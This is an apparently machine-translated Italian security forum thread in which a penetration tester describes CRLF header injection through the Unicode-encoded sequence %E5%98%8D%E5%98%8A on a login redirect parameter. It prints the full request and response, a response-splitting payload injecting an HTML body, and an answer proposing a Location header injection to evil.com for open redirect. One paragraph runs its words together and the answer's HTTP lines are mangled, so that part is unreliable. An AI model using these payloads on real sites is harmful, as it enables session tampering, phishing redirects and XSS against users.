Come iniettare XSS utilizzando Response Splitting nel seguente scenario?

3

Sono stato pentito per una società. Ho trovato un'iniezione CRLF che poteva essere eseguita utilizzando %E5%98%8D%E5%98%8A anziché %0d%0a . Quindi sto usando %E5%98%8D%E5%98%8A nel parametro di reindirizzamento per CR / LF. Ecco l'esempio di CR / LF.

POST /Login?redir=/%E5%98%8D%E5%98%8ASet-Cookie:%20Test=Test HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://example.com/Login?redir=/
Cookie: npii=bcguid/eeed476d1530a2afb4c108a1ff6c8a7858e8fd6d^tguid/eeed476d1530a2afb4c108a1ff6c8a7958e8fd6d^; guid=153f03aafcc.a787875.73837.ffffffff; lang=en-US
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 93

[email protected]&password=passwd&submit=Sign+in

e la risposta è:

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: no-store
Set-Cookie: epnAQABAAAAcL+4dNXREv5UlAUmnCm8pZjU5ZMGA8Hh7eOXJ59693k+u7Sj84BWjNVabZi9+tsOPv2StVHtoqFe+4yWHHz5HOPgghz5oyVfEcsQubE1j5XHZO6SAhQsZGCo7s+rkEx7tl+GTafUDd1zE9702PrSAmg=;Domain=.example.com;Expires=Fri, 08-Apr-2016 16:15:44 GMT;Path=/; Secure; HttpOnly 
Set-Cookie: lang=en-US;Domain=.example.com;Expires=Wed, 07-Apr-2021 15:15:44 GMT;Path=/ 
Set-Cookie: ifl=y;Domain=.example.com;Path=/ 
Location: https://example.com/
Set-Cookie: Test=Test
Content-Length: 0
Date: Fri, 08 Apr 2016 15:15:43 GMT

Ma quando stavo cercando di dividere l'intestazione usando:

/%E5%98%8D%E5%98%8AContent-Length:%200%E5%98%8D%E5%98%8AContent-Type:%20text/html%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8AHTTP/1.1%20200%20OK%E5%98%8D%E5%98%8AContent-Type:%20text/html%E5%98%8D%E5%98%8AContent-Length:%2017%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%8A<html>Test</html>

Il contenuto di HTTP/1.1 200 OK è stato trattato come HTML come mostrato in HTML.

Comevedinell'esempiosopra,housato%E5%98%8D%E5%98%8Aduevolteprimadellanuovaintestazionedirispostaequandostousando%E5%98%8D%E5%98%8Aunavoltanonvieneconsideratocomeunasecondarispostaperchéquièilmotivo.

Come puoi vedere dall'immagine 2, il valore per HTTP / 1.1 dovrebbe essere 200 OK ma non diviso.

Cosa dovrei provare?

Poiché si tratta di una pagina di reindirizzamento insieme alle credenziali di accesso, non riesco a inserire l'iniezione di contenuti in tale posizione. Attualmente posso fare l'iniezione di cookie. C'è un modo per sfruttare altre vulnerabilità come XSS, content injection o un altro attacco?

    
posta WebPenT 08.04.2016 - 17:36
fonte

1 risposta

-1

Dovresti provare lo scenario in questo modo;

Richiesta POST / Login? Redir = /% E5% 98% 8D% E5% 98% 8ALocation:% 20https:% 2f% 2fevil% 2ecom HTTP / 1.1 . . .

Forse la risposta sarà così;

Risposta HTTP / 1.1 302 spostati temporaneamente . . . Posizione: link . .

Apri Redirect Vuln. ( link )

    
risposta data 18.10.2017 - 10:13
fonte